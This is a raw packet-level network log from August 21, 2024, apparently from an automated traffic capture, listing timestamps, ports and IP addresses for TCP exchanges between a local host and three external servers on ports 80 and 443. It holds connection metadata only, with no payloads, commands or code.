Aug 21, 2024 08:32:16.821630001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821640968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821652889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821659088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821669102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821675062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821686029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821688890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.821726084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.821789026 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.821803093 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.821842909 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.821849108 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.821858883 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.821924925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821933031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821934938 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.821945906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821952105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821957111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821962118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821974993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.821975946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821980000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.822002888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.822014093 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.823328018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.823333979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.823343992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.823359013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.823365927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.823376894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.823381901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.823390007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.823430061 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.823430061 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.843118906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843127966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843133926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843177080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843183041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843190908 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843193054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843209982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843245983 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843277931 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843384981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843390942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843403101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843409061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843439102 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843451977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843460083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843460083 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843473911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843524933 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843537092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843543053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843554020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843559980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843565941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843573093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843579054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843585014 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843619108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843619108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843717098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843724012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843735933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843739986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843745947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843751907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843764067 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843774080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843781948 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843817949 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843817949 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843862057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843868971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843903065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843909025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843919039 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843946934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.843967915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843974113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843981028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.843986988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844019890 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.844027996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844033957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844043016 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.844074011 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.844253063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844266891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844285965 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844297886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844304085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844309092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844317913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844321012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.844345093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.844376087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.865387917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.865395069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.865406990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.865457058 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.865495920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.865552902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.865560055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.865571022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.865580082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.865613937 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.865643978 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.887717962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.887825966 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.887881041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.887888908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.887901068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.887906075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.887912035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.887917042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.887932062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.887948036 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.887974977 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.887975931 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.887990952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.887996912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888003111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888008118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888012886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888017893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888027906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.888051987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.888139009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888145924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888156891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888160944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888168097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888174057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888195992 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.888207912 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.888649940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888670921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888676882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888690948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888696909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888701916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888708115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888712883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888719082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.888725042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.888725996 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.888730049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.888741016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.888746023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.888758898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.888765097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.888770103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.888770103 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.888776064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.888778925 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.888820887 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.888854980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.889144897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889185905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889193058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889241934 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.889255047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889262915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889269114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889272928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889277935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889281988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889302015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.889317989 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.889333010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889343977 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.889348030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.889542103 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.905134916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905143023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905148029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905168056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905174017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905184984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905190945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905204058 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.905240059 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.905278921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905283928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905294895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905301094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.905334949 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.905352116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.906234980 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.906253099 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.906333923 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.906347036 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.906359911 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.906631947 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.906681061 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.906697989 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.906814098 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.906814098 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.906821012 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.906841040 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.906924963 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.906934023 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.906953096 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.906985044 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.907010078 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.907344103 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.907360077 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.907423973 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.907428980 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.907481909 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.907511950 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.907576084 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.907576084 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.907581091 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.907624006 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.907649994 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.907665014 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.907696009 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.907711029 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.907716990 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.907793999 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.908356905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908364058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908369064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908375025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908380032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908407927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908416986 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908420086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908432961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908437967 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908458948 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908464909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908473015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908499956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908505917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908515930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908520937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908526897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908530951 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908538103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908545017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908550024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908555031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908557892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908566952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908574104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908579111 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908579111 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908586979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908592939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908598900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908600092 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908605099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.908617020 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908632994 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.908648968 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.909189939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909199953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909209967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909216881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909226894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909231901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909243107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909248114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909252882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909259081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909264088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909266949 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.909307003 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.909307957 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.909339905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909347057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909357071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909362078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909367085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909373045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909378052 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909384012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909389019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909394026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909404993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.909410000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909415007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909421921 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.909445047 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.909445047 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.909447908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909455061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909472942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909475088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.909481049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909492970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909498930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909498930 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.909503937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909509897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909517050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909522057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909528017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.909529924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.909548998 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.909564018 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.910209894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910216093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910227060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910235882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910240889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910253048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910258055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910263062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910269022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910273075 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.910275936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910284996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910288095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910293102 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.910314083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.910315990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910321951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910331011 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.910332918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910337925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910347939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910355091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910358906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.910361052 CEST	80	49722	162.241.203.25	192.168.2.6
